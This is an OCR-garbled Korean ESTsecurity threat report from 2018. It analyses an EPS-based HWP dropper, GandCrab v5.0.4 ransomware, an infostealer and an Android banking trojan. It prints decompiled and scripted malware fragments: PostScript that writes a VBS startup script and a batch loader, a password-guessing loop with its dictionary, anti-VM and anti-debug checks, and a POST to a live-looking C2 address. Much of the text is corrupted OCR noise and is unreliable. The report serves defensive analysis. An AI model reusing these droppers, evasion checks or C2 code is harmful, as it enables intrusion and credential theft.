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TAE AFRE= ANRZET2 Z20f| MemCachelog24vbs AFEES M6
Cache51.bat' HHX[IIUS RHSHA| EILICH.

Set WshShell = CreateObject("WScript.shell’)
WshShell.Run chr(34) & "Y%appdata%\Cache51.bat" & chr(34), 0

Set WsheShell = Nothing

'‘Cache51.bat' XL H240jl= ChSat 20| * hje01' IS 'MemoryOrder85584031.com’ HIO|L2| T2

AL, Aot £ ME|opA| ELICE

copy /b "%eappdata%\* hje01" "Y%appdata%\MemoryOrder85584031.com" &
"Yoappdata%\MemoryOrder85584031.com" & del /f "Y%appdata¥%\MemoryOrder85584031.com"

ESTsecurity
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$!PE-Adobe-3.0 EPSF-3.0

/popmenuw{ exch dup 3 pop length 3 pop 2 index 5 pop
length add string dup dup 4 2 pop 3 pop 2 roll 2 pop 3
rop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll
putintervalibind def (appdata) getenv pop /envstr exch def
envstr (\\Microsoft\\Windows\\Start )popmenuw/patho exch
def
pathof(Menu\\Programsi\StartUp\\MemCacheLogZ4 . vbs)lpopmenuw/
path4 exch def envstr (\]Pemnnll.hijell)bopmenuw/path2

exch def envstr (Y\Pemnn0Z.hje01l)] popmenuw/path3 exch def
envstr (\\Cache51.bat)] popmenuw/pathl exch def path4 (w)
file /filel exch def file0(Set WshsShell =

CreateObject\ ("WScript.shell™\)\r\nWshshell.Run

chrh\ (34\) & "%appdata%‘\\Cache5l.bat™ & chr\ (34\},

O\r\nSet WsheShell = Nothing)writestring filel closefile
pathl (w) file /filel exch def filel (copy /b
"fSappdata®i i\ *.hje0l"

"Sappdata®h MemoryOrderBSSBéGSl.com"l&
"Sappdata®\\MemoryOrderss584031 . com” & del /f
"fappdata$ i\ \MemoryOrder85584031.com” )writestring filel
closefile path2 (w) file /fileZ exch def
f:.leZu.*r:Ltestr:Lng file2 closefile/databuf 8 string
def/firp 1 def path3(w)file /file3 exch def{currentfile
databuf readhexstring{firp 1 eg{/firp 2 def}{file3 exch
writestring}tifelse}{dup length 0 gt{file3 exch
writestringl{poplifelse exitlifelselloop file3
closefile{0051%E8SFS0000300000004000000FFFFO000BR000000000
goooo4c0o000000000000000000000000000000000000000000000000000
00000000000 00000000EEB0000000ELFBRAOEOORBAOSCD21BE8014CCD21546
Be9T732070726F6 7726160206361 6EGECFT42062652072756E20656E204

gzb4 578 tmp C:A\Ugersh zerpplatatLocahT emphuogsbd5 78 tmp

tMemCachelog2d.vbe  C\Users\UserdppD ata'\RoamingMicrozofthwindowshStart MenuwPrograms\Startupth emCachelog2d. vbs
Cacheb1.bat C\Ugers\UzervdppData'\RoamingtCachebl.bat

Pemnn01_hjg01 C:AUgersh zerbppl atab R oaming\Pemnn0l_hjg01

Pemnnl2.hjie LU zershU servdppD atat R oaming  Pemnnl2. hiel

gstda 78 tmp AU gershUzerdppDatatLocahT emphgatd 578 tmp

gzadb7E tmp C:AUgersh zerpplatatLocahT emphiogzads 78 tmp

U

(12 6] 2 ZAE A5

I
[m
>
0Z
H

=
r_.>|_i
i
fon
2

OFX|2$0]| -4 =l= MemoryOrder85584031.com' H0|2E= St=A|IZE 7[E22 '2018-11-1500:47:51'
HMIEZIAT LHEO| ESHE|0] Q= £E H0|2E= 2018-11-07 16:06:11" MR ASLICE

e HO|=Ex= ZEE AMARC| HEE E6l Yandex E2E 0185 RE0H| =M, AKX 71501 H
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(&uo2, B, 48946);
(&uoh, B, 2048);
if { ={_DWORD =){a2 + 28) >= Bu )
u? = ={const wchar_t ==)aZ;
if ( ={ _DWORD =){al + 2@8) »>= 8u )
ut = ={ DWORD =)ad;
uUG7¥ =
(&u6l, (const char =)L"%s5/%5", u6);
ifF { a4 )
uG7¥ = L"true';
else
va? | L"False";
vhh = &uok;
(
w62,
{const char =)L"https://cloud-api.yandex.net/vi/disk/resources/upload?path=%skoverwrite=3s",
2ubh,
v67);
ut3d = 7¥;
uL? = @;
{lpHem) = 8;
if { w62 )
ug = {{const unsigned __int16 =)&U62);
else
ug
{GuH2, vB);

(&lpHem, v9);
{v69) =
ifF ( w53 >= 8 )

[O2! 7] He7 &&= (2 Yandex AMH|A $IH 3=

HWP 2A] Lol 3HEl TAE AJRE(EPS) FIFHS 517 QUIA HZS HA HEIOR AHO|ES 22 TAE
ATRIE A7 DEO| HPAEI0] f Ofs $I20f LSEIX| QLT

HOR|E= YHIOIES SHX| 32 0ISAIE Lelil UCk= HS Salohof BiLIC.

EW

HF 71 LIES2 "MQIAO|=(Threat Inside) S S5l HOF MAKR! 2iEE(lo()2t TE2ke QI TA
2|IZE MHIAS 7|HHECE MiSE R RILICE
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2. H|HASF] 2hdSllo] =% H1|E|7<
2SS Sofl ZH=3H =U O &+

O] AEAIFE|E] AMO[H PIE

H I I—JI A2t (VenusLocker) 2

=3 3(GandCrab) v5.0.4 &

OIRUBITA(CTI) HMEXEII AFF2|E|CHSMIE|(0[5 ESRO)= ZHA
QOIS ST ZEI0| Xt 11 2 15 Y LAKIEME ARGH
149I0IS 3120 oz

FEoIL U= LHES S/Het HE ASLICL,

K|t FULE] SE20fA JHLE Berryz WebShare (HI2]1X 214101) TUSS MHE 156l £ CE
HET V5,04 HES QESH Q0] ZHsH Z=o7} QabE!L|Ct

- i x
&) Berryz WebShare X +
< C @ F2ag| A
F=aA/
a O=zga2 A & ¥ za9
oz EY 253 2N |
= HE 2 ogEAs1119) T EeT A s LU Thexe 432,640 208-11-18 AM 0804 D
. 0lOjE BChAEEE WEE2EEEE 7 .exe 432,640 2018-11-18 AM 0804 ()
FH 27]: 865,280 HIOIE
Powered by Berryz WebShare v0.93 (rev.888) by UPnL
[ 1] HIZI= 20 MHE RZ &

21 HESRH Sl 21
ESRCOIA= ol PIZ%I0] Xt 2= 0]0] o AMHE F=014] UACk= AHES &

o5}, SEOR ZHRIS £H
ZIAIBE UUSLIC

Xt Z=0l= 'Mongoose Web Server (ST-A &l AfH) 7|HIO 2 ZHMQ0IE
WebShare(H|2|= 2#[0]) MHE T&3H RZ0 ARSI U= PEH.:.LII:}.

R=E, 17 Y FURE(= Benyz
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[ Index of / x + - = X
¢« C © F° o8| B
Index of /

Hamne Hodified Size

mongoose-free—6.5.exe  10-Jan-2017 22:13 532.0k

EIMJYOHG, doc 14-Hoy—2018 18:31 - 466,58k
three. exe 14-Hoy=2018 10:07 2855k
mongoose, conf 1 4-How-2018 11:01 339
Mongoose /6.5

(72 2] S7A B AHE 2HE T2 AA9I0IS QESE 3

H|Z| = A0 2712 THU0| P2 EE|0] UCH, TIUH 212 Higiz 0[2A(181119)EHSIGHISLICt exe,
O[0JX] PEHAZHE LHEERIHISIRAI D.exe’ CHEA SSE|0 ASUCE

OfX|Zh F7HO| IU2 OIS ChE Set ZHET# S0 RILICE

Sl ER =2 00| x| SEALE
(181119)Z 415 THE L Eelg
Bl L| Ot exe HE2 7. exe

22 3] 0[2M SC= I, ASTIYUZ AEe HESH 2] 21H

HIHAZA SHEY0E FEH
2ot HERILICY,

ro
do
ol

>
%
mn
k=)
%J
o

N
ial
L%
ﬁ
=
e
0x
0
<
mjn
40
H
QIE
[
30
=
N
%
ron
I
1o
N

O|ZA7} i MU0 SIZE|0] Ale 2 ARE =0 UH 2N, ST, ARl S HEE2| H[0[E7t
d=2}x|0] AFZ0] =70l L.
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| m2E BIE M40 =2V S2TH)
F-—= GAWDCRAE ¥5.0.4

tkrrrrreretrrrrrrrreoe+ NOER NO CIRCUMSTANCES DO HOT DELETE THIS FILE, UWTIL

#++++FAILING TO DO 50, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THER
Attention!

11 wour files, documents, photos, databases and other important files are er|

The only method of recovering files is to purchase an unigue private kew. On

The server with vour key is in a closed network TOR. You can get there bw the

| O. Download Tor browser - https:/ www torproject orgd

| 1. Install Tor browser

4

(321 4) HET2 V504 LA Al AIE St

ol 00l 2= CHF22| C|O|E| IpUO0| S Se|L, 7|E SFEKI0) "extsxcdshg' LIEO| =7+ =
UELICE 2|1 Ci2| Z=0| SE - E EXTSXCDSHG-DECRYPT txt' IO | A E=LIC,

ESRCOA= 19 € QTRE] T2 MU0 AR SAHS 71281C= H=TH HEQ| 75 THEH HHOIES

2= 3t HEHO0ILL, UKHALYac) A A7 [H XH=ES Soll 4 BSS LS| AT 4= U= HEILCE

BZRK= Ol HRIRI0ILE 22 URL Z3S S0l AISXOR 3120 #5 2401 RE5HD YBLICL QAR
QB0 YOBET RiAE O MYE(D YOOR, QIE{ OISIZES 25| FOISIAI HRILICE
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[Trojan.Agent.544256]

qdiL 4 BN

HI

A H 1

1.7

El2 ARBAL PCE ZBAIAHA AMEAL HEE EF[oh= InfostealerRal AFHTEIL FES| AT QT OEHO|
7:

o = OO0
iH AT EE= B4 ML = EAVIE Sttt 24S =[Tol| fIgh 7I&=0] T HEE[0 ALk A PCe

2E 78 (FS 2lol0] Ad HPlE ~aie AeIX| ZFok= X0| SEOIC.

O EIMOM = sliE AT =0 MEE TIsSa
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[o]]]
A
52
[
O
HL
ro
i)

—
A —

[ i |
M k= MUHO| L3 25 82 AUt SRE I Ol AdIE 24 3 M8 =
A MAFC=, &4 HFS T ?let YH S ofLt= EQICt

‘sandbox, ‘malware’, ‘sample’, Virus’, ‘self
(2 1] 2 542 EIX| MUY =2

1 =0 O =0 |

M

rr
1z
ot

=
= =
CESE oAl PCOIM AT Q= T2AMASS AMI0 T2t 22 T=MAT Aol SOIX| 2R1siCt, 0]

NEL=RH A= RS LXol | 2= HOInt,

N

I
H

L
el
Kl
2
i
=S
=
i1
>

‘avastsvc.exe’, aavastui.exe’, ‘avgsveexe’, ‘iavgui.exe’, procexpbl.exe’,

‘procmon6é4.eee’, ‘procmon.exe’, ‘ollydbgexe’, ‘procexp.exe’, ‘windbg.exe’

[E 2] QtE| HO[HA &I 2M & TE2MA F5

3) tE| LY

S| CIHH E2X K22 SRI6H| Qo ZEMA MEE BT Q= Process Environment Block TL2=4|2]
35

T 1=

Tl o from Bankz,pd.@88457CCY
hProcess = FFFFFFFF

InfoClass = 1E (38.)
Buffer = B8012FASE
Bufsize = 0x4%
pRegsize = HULL

[32! 1] ProcessDebugObjectHandle2 0125t C|HZ 201
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HI
1z

B

£) 71 B2 K|

D2NM SRS 2ielok= BZ0{2 CPUID = 0IE510 SRl AIAE! 2FE0] 7HI0|A AE[ 1

I2HI|E{(EAX) Z40] 0x40000000 ! [, 7 Ak 2HZ0|21H EBX, ECX, EDX 242 Sl EX 2K}

FF
FF
ES
7
8D

c4

EC

Cceé

01

75
75
34
45
45

ESTsecurity

AX,x40000000

[224 1]CPUID S 0123t 714 8t E4X|

KVM “KVMKVMKVM\0\0\0"
Microsoft Hyper-V "Microsoft Hv"

VMware “YMwareVMware

Xen “YenVMMXenVMM "
Parallels “orl hypen'

VirtualBox “VBoxVBoxVBox”

H 3] 7R Al E et ZX1E

push ebp
mov ebp, esp
F8 add esp, OFFFFFFF8h
push ebp
mov ebp, esp
pop ebp
F9 40 00 push offset loc_40F9C6
clc
jb short near ptr byte 40F9C5
retn
byte 40F9C5 db OFFh ; CODE XREF: .text:0040F9C21j
loc_40F9C6: ; DATA XREF: .text:0040F9BC? )
oC push dword ptr [ebp+0Ch]
08 push dword ptr [ebp+8]
1D FF FF call sub_401705
FC 01 0o+ mov dword ptr [ebp-4], 1
F8 lea eax, [ebp-8]

[O2! 3] 2= LHof| A=l oo| 2=



ot OfLet, S+HQIES Sot¢] Ll Z=S1t 4| ofd AT =S Sl 2 EA7 242 YoliglCh

while { *FunctionPointer )
{
sub_482387();
dword_4172CB = CMemStm: :Seek_(al1);
ff Call Function
v2 = (*FunctionPointer)(al, &v4, Seek_SetSize, &loc_40F83A, &v4, &savedregs);
if ( *FunctionPointer l= GetSystemInfoFunction )
{
if (w2 == ex10 )
CMemStm: :Seek_SetSize(dword 4172CF, dword 4172CB);

else
] L = '1;
}
++FunctionPointer;
}
WA =
22, 49 B

SN $0| ZRISIX| QIS ZQ, MXIE I} HRIAER] S8 AS5I0 AEXIe] HEE ALY ATk Yl

ChEadh 2T

EE RSl M LHE

2HPCHL User Name, OS Version, =48, 25t MAC 4 &

FTP Al HH ‘ALFTP, ‘Blazeftp’,  LinasFTP',” NovaFTP, FTPVoyager', wiseftp'S
OlHIY / AP e Outlook / POP3 / IMAP / NNTP / HTTPMail / SMTP &

HElRX gEgd Intemet Explorer’, ‘Chrome’, Firefox, Opera, Thunderbird, SeaMonkey S

[E 4 2F &5

ESTsecurity Copyright © 2018 ESTsecurity Corp. Al rights reserved.
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for (1 = dword 4172D3; i; 1 = *i )
1
EscalatePrivilege();
if ( !lpBuffer || lstrcmpiA(lpBuffer, *(i + 4)) )
{
hObject = @;
if ( !LogonUserA(*(i + 4), @, *(i + 4), 2, @, &0bject) )
{
IpDeststr = AllocNCopy(*(1 + 4));
v3 = IstrlenA(*(i + 4));
if ( LCMapStringA(@x400u, 0x1e0u, *(i + 4), v3, lpDestStr, v3)
&& (hObject = @, LogonUserA(*(i + 4), @, lpDestStr, 2, @, &0bject)) )
{

¥

else

{

FreeMem(1pDestsStr);

FreeMem(1pDestsStr);
al = "123456";
while ( 1)
{
hObject = @;
if ( LogonUserA(*(i + 4), @, al, 2, @, &0Object) )
break;

al += strlen(al) + 1;
if ( 1*a1)
goto LABEL 26;

-

[0 5] BRE By B2 3

OE2 ERE Zd A0 AERl= H|2H= 2| AE0|C.

1234567890, 'gthjkm, 'ghbditn’, billgates, 'gates, mustdie, windows, hotdog, prayer, 'stella), ‘cassie, kitten', danielle’, jasper, hallo, 112233,
‘saved’, dexter’, 'hardcore’, 'angel1’,'55555, ‘chelsea, qwert, prince, blabla), red 123, baby, 1g2w3e4r’, john', jason', maxwell, 'sammy/, fuckoff,
'scooby’, emmanuel, nathan’, loving, football1', lovegod!, jordan23,, ‘cocacola,,"11111111', bubbles, 222222’ 'microsoft, none, destiny’, friend,
‘church’, mylove', david,, 'onelove’, maverick, testtest, ‘green’, 'dallas, mike', 'samuel, ‘zxevbnm, praise’, wisdom', ‘slayer, otimi, 'adidas, foobar’,
‘creative’, qwerty1', knight', 'genesis, Viper, "1g2w3e’, iloveyou!, benjamin', power’, hockey, ‘corvette', 'anthony, ‘enter’, bandit, ‘spirit, thunder’,
digital, lucky’, joseph, 7777, 'smokey, harley, looking, nintendo), 'shalom’, hope|, friends, 'google, merlin', admin’, 'sparky/, ‘austin, passwOrd),
‘chris, junior’, ‘chicken’,'123abc, 'onlin€), trinity,'maggie, winner', 'george’, 'startrek, '123321','123qwe’, london, Victory, ‘asdfasdf, james,
banana!, 'scooter’, flower’, ‘cool, peaches, blink 182, richard!, john316, forum, taylor', diamond), compad,'samantha), dakota, eminem, hello?’,
biteme, mickey/, 'soccer1’, bailey, ‘cookie’, batman', peanut’, ‘guitar, rainbow’, rachel, ‘asdfgh’, forever, robert 'silver, ‘canada, matthew’,
'myspace1’, blahblah', blessing, poop’, hahaha!, ‘asshole’, fuckyou1', 'gateway’, muffin, 666666, nicole, iloveyou2, william, 'grace’, 'secret,

‘peace, michelle, ‘apple, testing, ‘orange’, jasmine, justin’, helpme, mustang,'11111', iloveyou1', pokemon), welcome', jessica, 'snoopy,

‘mother’,'ginger’, nothing, 'amanda), 654321, 'aaaaaa), pass, matrix, happy, gazwsx, 'hannah, 'single, jennifer, 1111, daniel, charlie, angels,

ESTsecurity Copyright © 2018 ESTsecurity Corp. Al rights reserved. 24
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HI

M H 51

thomas, 'andrew, lovely, hunter','7777777 'pepper, heaven', buster', ashley, 'summer, faith’ jordan', jpurple’, 000000, ‘starwars, baseball,
blessed;, fuckyou!, joshua) intemet’, ‘cheese’, michael, 'superman), 'soccer’, ‘asdf, killer', freedom, whatever, 123123, jesus1’, angel, football,
tigger, princess, ‘computer, master, 'sunshine’, ‘christ, 123456789, 'shadow’, 1234567, iloveyou,"111111", trustno’, dragon’, monkey, hello
password1’, love!, test, letmein, abc123, 1234, 12345678, jjesus, 12345, ‘qwerty, phpbl, password’, 123456

[H 5] HRE A0 AIREf= HUHE 22

¢l S Soll YFlE HESS S35t 510f AKX MHQI http://62.108.40.55/k5/gate.php’ 2 TESEICE SHX[EH
SI= CRC A7 XIEHE SHZE|X| QH=C} CI22 M XM FT0|Ct

if ( UrlComponents.lpszHostName )

{
wsprintfA(
buf,
"POST %s HTTP/1.@\r\n"
"Host: %s\r\n"
"Accept: */*\r\n"
"Accept-Encoding: identity, *;g=0\r\n"
"Content-Length: %lu\r\n"
"Connection: close\r\n"
"Content-Type: application/octet-stream\r\n"
"Content-Encoding: binary\r\n"
"User-Agent: Mozilla/4.@ (compatible; MSIE 5.8; Windows 98)\r\n"
"\r\n",
vl2,
hMem,
len);
v5 = ConnectServer(htem, @, UrlComponents.nPort);
if (vs)
{
s = vb;
SetSockOpt(vs);
v6 = lstrlenA(buf);
v7 = Send(s, buf, v6);
if (v7)
if ( !len || (v7 = Send(s, a2, len)) l=19 )
vl = v7;
if (v7)
v4 = RecvDatas(s, a4, &9);
¥
¥
closesocket(s);
¥

O 6| RCYE TS TFE
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HH H$F 7153 BF £ |, T2 bat’

SHAI0| RIS MBIt ST TR APt ALH| 7152 43431, Of=
2% PCESE] ANTES ARIBI0] 0| OfRIZS 517 YI3OR HOICE CISS X7} AR| ZE0|Ct

OoOOL-

hFile = CreateFileA(lpbuffer, 0x(0000000, 3u, ©, 2u, 0, 0);
if ( hFile 1= 1)
{
LABEL_14:
v2 = 1strlenA(
“\r\n"
"\t\t\r\n"
“\r\n®
"\E tktk \r\n”
“\r\n"
“\r\n"
. del \t %1 \r\n"
"\tif \t\t exist \t %1 \t goto \t\r ktk\r\n"
vda} Xt W ");
= WriteFileFunction(
}

-

ile,
r\n"

"\t\t\r\n"

“"\r\n"

"\t iktk \r\n”"
“"\r\n"
“\r\n"
= del \t %1 \r\n"

"\tif \t\t exist \t %1 \t goto \t\r ktk\r\n"
“del \t % ",

v2);
CloseHandle(hfile);
if (vi)
{
wsprintfa(vio, " \"%¥s\" ", lpFilename);
1 = LoadlibraryA("shell32.d11%);
if (va)
{
ShellExecuteA = GetProcAddress(v4, "ShellExecuteA");
if ( ShellExecuteA )
(ShellExecuter) (0, "open", lpBuffer, vio, 0, 0);
}
)

[ 7] X7H AN 2=

ESTsecurity Copyright © 2018 ESTsecurity Corp. All rights reserved.



Tt 5] FTPLE E2f2A], O|H[Y 2 D= 12Hof|lA 2

2 opyTCL AR MRS SHGHs S FRMOR Bt S
Y Q01 2pitat 07} TR}

AEX AE H2S EFlor | HZ0 2Xt Liol7t O IE =+~

olfld AT == 2L PC MEA A HE ZFIE 2ol F2E 2 S2S AZ2IT. O|I AZEl= HI2H=
2| AEE H[WX 7HHSE SO{T0 2 A A S 7HECEL BEE 1LY SAS fidol| #leiM ABAE2 S=
CHEAI2t *If EEAt 52 0[Sl I Lt 8| HIZHS S AKZolof o, 7 |H2= HIZHS S HFoliF=
SHs 7 27 ACL

Of{gt 2FT =0 Z&HO| =[X| 2271 #lotiM X7t ==Fet O|H 0| = Z3 =2 HPMA0| Choll EEE &7
SIC}. TEot HidS Z HHOIE HEi= RXISHH 7|21 ZHAS EA[SI00F BICt.

Sl 2etoflA= “Trojan.Agent. 544256 =2 TITkshd QUCT
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[Trojan.Android. KRBanker]
AEILC EM HIIA

1.7

Y2 EHFE =Xz Y I7 RIE= f SEHE ZAISIT.
55, o5 A2 244 @Al 5b7| floiM S= Qihoo 360 Al2| THE 7 &S HESIRL.

= 2N HIMUIME “Trojan.Android. KRBanker'S AM| 24461 10A STt

ESTsecurity



21, If2] EX
S= Qihoo 360 AlQ| IHZ El A2 Ut Muk= CH=E 2F20| EXSHC Mol Aokt AEHE A HEHE = U=
DiLHAES EH Ut OIER20|E WA= = 5= Sl= &=2! “android:gihoo” 20| F7t=[0 =0l Ol=

“libjiagu.so” THUO|

- = T HAL- é'o
ClAmMUS WoHTHTY, “assets” EH0I= M| F2-dM & IHZ0]| 205k= “appkey”,

TSIE|0f QUCE ESE OFfl (2 212 2™ IH7|X|HO| “com.android.hellod3”0 X2 T E HIA FEO|AE= i
S22 512 4 9l0] X 2MORE M| ofy Siole} BiEl =S 2 4 QiCt

| platformBuildVersionCode= xmlns:android="http://schemas.android.com/apk/res/android">

" platformBuildVersionName="5.1.1-1819727"

i-permission
i-permission
i-permission
i-permizssion
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission
i-permission

andr01d:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
.ication android:allowBackup="tr
activity android:launchModes=

<intent-filter>

<action android:name="zndroid.intent.action

| <category android:name="android.intent.categ R
e |De
assets BE image.zip
lib | ] libjiagu.so
org | ] libjiagu_x86.50
res
WERIRUIARZ RIS RS

ESTsecurity

name="androi
name="zndroi
name="zndroi

name="and

gleTask"™

android:icon=
android:name=".PG

" android: targetSdeer51on
id g

ity

" android:label="@sztring/app_name" android:name="c:T.stub.StubApp"Iandroid:qihoo="acti?ity|




12
0Z
I
AI
1z
i

: dump_m11.dex/Hierarchy 2
Bytecode/Hiearchy ©2 . g
4 android
~ {3 support
v Hj[gm F3 annotation
. & v
v # ghoo v & com
) ~ {8 android
v fi ut & hellods
T ~ 3 mark
(9 Coniquration & keepalive

- . ~ {8 winfloat
(J QHDH'M 7 calllib

v £ org
v tl:lStUb ~ 3 apache
Al v htt,
® Stubdpp = ijentlt}-'
£ mime
v B owei
~ H3 mark
v 3 standout
£} constants
B oui
® StandCutWindow
® utils
® WindowCache

(0% 2 I 3 AT bl
2.2 Q| il
¥ CIZmU0] =53] 40|= “apktool” £ HTS SoliM HIIUS A=sH IHLTIAES] “gihoo™2t HEE QA
ALK 510] OfHE Y o7ICt Ml X =X floiM= THLEIAE| android:debuggable="true" &=0|

US>
2| 0|2 WXk},

java —Jjar apktool_2.3.4.jar b 368_lotte

s changed...
has changed...

o (C:WzsersHsontfippDataWlocalWapktool¥ramework?, using C:WisersHWsontfippDatalocalWTempt instead...
olatile directory and frameworks could go missing, please wutilize ——frame—path if the default storage directory is

ti#360_lottetfindroidManifest.xml:21: error: Mo resource identifier found for attribute|’gihoo’| in package "android’

on: brut.common.BrutException: could not exec Cexit code = 1>: [C:WlzersisontfippDatatilocal¥Temphrut_util_Jar_ 19215

kage—id, 127, ——min—-sdk-version, 11, —target—sdk—version, 16, ——version—-code, 11, —version—name, 1.8, ——no-versio
LocalWlemptiPKTOOLYS26972238737482751 . tmp, —#B,. arsc,. —B. png, -8B, jpyg. -8, appkey, -8, =zip, -8, arsc, —-I. C:llsers
:HlserstisontiDesktopilittestWI6O _lottethres, —M, C:llsersisontiDesktopilittestW360_lottetfindroidManifest . xml]

[j_al 3] ZAml Almy

2.3 QI OHZ

I Ol =7|0f= 2tE| CIHZO| IS0 UX| 20FA HIL2(0f] 2= HA OIS MARFEIS SIOZM 7
IO =M0] 713Ut T2t 212 THY RHofl= Ciret Q| I 7| 80] F71=7| 20 sX 245
SaliMd 2tE| CIHAE 228t CIZ0IMOF H22|0| 2= WA T HIJt 7ES0HC

ol

2.3.1 dlactivity €21
“/system/linker” 2= LHE0| ZXK6H= “dLrtld_db_dlactivity”2] 242 CIHZ =17 Q=X QI=X|E LIEFHCY

ESTsecurity



03 oMTE BN T
* llinker|B6F@913e | __dl_rtld_db_dlactivity
* Ninker:BBFrog DCB @xDE
* llinker:B6F@9132 DCB a
®* Ninker:B5FB9133 DCB )
* [linker:B6F@9134 _dl__ ZL19MapCentralDir
* linker:B6F@9135 DCB @xE9
* llinker:B6F@9136 DCB @xFe
* llinker:B6F@9137 DCB @x4F ; O
* Ninker:B&F@9138 DCB 2
* llinker:B6F@9139 DCB ex23 ; #
*® llinker:B6F@913A DCB ex8B
®* Ninker:B5FB9138 DCB @xBe
* Ninker:B&F@913C DCB @x9@
* llinker:B6F@913D DCB @x46 ; F
* Ninker:B&F@913E DCB o
* Ninker:B6F@913F DCB @x22 ; "
* Ninker:B&F@9148 DCB 8x81
* llinker:B6F@9141 DCB ©x46 ; F
*® llinker:B6F@9142 DCB a
* Ninker:B5FB9143 DCB x93
* Ninker:BG6F@9144 DCB )
UNKNOWN B6F09130: linker: __dI_rid_db_dlactivity (S}
| €
[©] Hex View-1
J6FE99FE @1 ES @@ @@ 38 BS 04 46 @D 46 FF F7 F°
J6F@9190 20 46 FF F7 SF FA 88 B1 28 46 FF F7 7¢
J6FE9110 20 46 29 46 FF F7 26 FC 48 Bl 20 46 Ff
36F@9120 [RO—DT—2¢ BD EB 38 48 FF F7 9A BF o
36F09130 zn E9 F@ 4F @2 23 8B BO 9
[ 4] dlactivity £ 9t C|tHA
2.3.2 TracerPid &f°!

“/proc/self/status” TS SO IGHEH H

22 soIst 4 T}

a8
aa
73
61

25
74

D
aa
aa

74

72
e

72
41
2F
a8

61
2D
73
aa

63 65 72
5A 5D 3A
65 6C 66
aa ea e

54
TA
63
a@a

B e e

tatus...TracerPi

ESTS@CU”?U’ Copyright © 2018 ESTsecurity Corp. All rights reserved.
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73

SHAES!

HE HES0| LIERICE. 71 S0IM “TracerPid™2| 2

-j5-c...TracerPi
d...¥[a-zA-7]:\t
¥s../proc/self/s

| R=)

E

SoliM ClHE
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1L irootPhammerhead: procs15676 I cat status

cat
Hame :

Btate: t {tracing stop?

Medd = 15676

Pid: 15676

PPid: 203
TracerPid: 15386

[22! 5] TracerPid 2 2tE| C|HA

233 4 gds} OfF &0l
T4t LES 20lo}0 L %i.lé._}[l'.lDA
C|H{Z] ZAQ} IEO| SH5} O

F N 1T B T S
] ."P Cc."net."tcp FI HEx EDM

gaaaaa0a:5D3A4.

root@hammerhead: sprocsnet # cat tcocp
cat tcp
2]l local_address rem_address st tx_gueue rx_gueue tr tm—

A: AEREAERA:5DEA ABEBNBANE:A0EE B GBHBHBHAE: AHEBEEEE B0 : ABHE
1: A1888AYF:E155 A1680AYF:5D8n A1 GBHBHAHA:HEAEBREE B0 : ABHE
2: A10AAAYF:5D8A A1A80@YF-E155 A1 GAABHABHA:BAHBHAEAHA A2 :0A801

b {

MOTE: all paths must be valid on the remote computer

Cebug options

Hostname |I|:n:alh|:|st V|F'|:|ﬂ

Password | v|

[ ] Save netwark settings as default

]9 Cancel Help

[ 6] 4 2RIS S5t 2| Ll
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03 4dIE EM H
234 58 22X =R
“gdb”, “android_server” S2| SX LIHZ0| AFBE= =752 BHM X HE2fo| 2 2XIE 20l SaiM

CiHZ GRS 221510

g3 -<=..Mg;-/pro
c/15676676d1line.

BBEE3V6C

BREE376C var_leé= -8x1e

BBEE3VEL

|BEEE376C oo PUSH  {R@,R1,R4,LR}
BBEE3VEE 818 MOV R4, RE
BEEE3V78 818 MOVS R1, #8
BREE3V72 8le MOV R@, sP
BEEE3V74 81é BLX unk_BBEC3638
BeEE3778 8le CMP Re, #8
BEEE377A 818 BLT loc_BGREE3734

bl e [=
BBEE377C 8l1é LDR R@, [SP,#exle+var_18)
BEEE3V7E 8le CBL R4, loc_BBEE37EB
J
I
BGEE3VE8 8lé 5TR Re, [R4]
BoEE37E2 918 B loc_BGREE3788 BGEE37E4 loc BREE3734

BGEE3784 &1& MOV.W

RO, #8xFFFFFFFF

ESTsecurity

YVY

bl e 55

BBEE3ZVEE
BBEE3ZVEE
BEEE3788 @1@ ADD
BEEE378A @B3 POP

loc_BGEE37ES

SP, SP, #8
{R4,PC}

[13 g ARt 2RIS S5t OtE| Ll




03 Ha

opymc

HI

.I
—

236 HA T HO
OtE| OIS BT R3[o1H 55351E HIA MA2 “lbart.so” Z=0H| 2JsiM H|22|2 2ES=E], Ofrf HA MO
ZEE M2 404 MA T 10| 7[FE|0 = BA THU0| F7|S AlitstH sid f25 BEeIC) Ths &

M- 11—
FET} 7 HATES B3It

IN35385E8 15 0@ 80 F2 15 00 A4 F3 1508 D8 F2 15 88 BC F4  .....cvvvennnens ~

IA353p5F@ 15 @@ 40 F4 15 @@ D4 F4 15 @@ @@ F5 15 @@ 1C F5 .. .@............. Snippet list Flease enter script hody
IL5538686 15 @@ 6@ F5 15 @8 7C F5 15 @0 ] "

IL5538618 15 @@ 58 F6 15 @@ E4 F6 15 @0 a8 Mame auto 1, fp;

13538620 15 @@ 99 F7 15 @@ 8@ 8@ 64 65 33 € Default snippet « auto start=0xA3530628;
83538638 92 18 12 C2 86 C1 9A E7 EB D1 5F ' auto end=Bx136(D4;

A35385648 4B @5 ED 45 14 39 CB 2E

In3538658 78 56 34 12 PO 00 60 98 @8 08 fp=fopen("E:\\dump_mll.dex","wb");
l\3538650 AD 30 @0 90 70 00 00 @8 26 07 for(i=start;i<start+end;i)
\A3538672 8B @9 o8 80 BC DF o2 @2 @2 aD {

l\3530680 C2 2E @@ 9@ 50 BA Ol 6@ ES 04 fputc(Byte(i),fp);

\IL5538692 BO 9E OF 00 @8 (D @3 88 88 (D }

IL353864A8 @5 (D 83 88 1A (D é3 ee 30 (D

\W3538688 37 CD 83 @8 3B CD @3 ee 41 (D

dump_m11. dex @
B Hun

Edit As:

DO0Oh: =
DOlohs: =W, . «XE.iE.9E.
D020h: OLl. .pae.xVid.. ...
D030h:
o020h: =
DoSoh: L 0 [ L s e
10&0h: o 60 30 03 0 woa 0L, f.
0070h: 00 CD 03 00 02 CD 03 00 05 CD 03 00 1& CD 03 00 | .I...I...1...1I..
J0B0h: 30 CD 03 00 34 CD 03 00 37 CD 03 00 3B CD 03 00 | of..sai..7%..:1..
00%0h: 41 CD 03 00 46 CD 03 00 55 CD 03 00 &C CD 03 00 aAf..FI..Ul..1I..
JOROR: OF CD 03 00 €7 €D 03 00 DT €D 03 00 FA CD 03 oo | ¥f..¢f..»f..af..
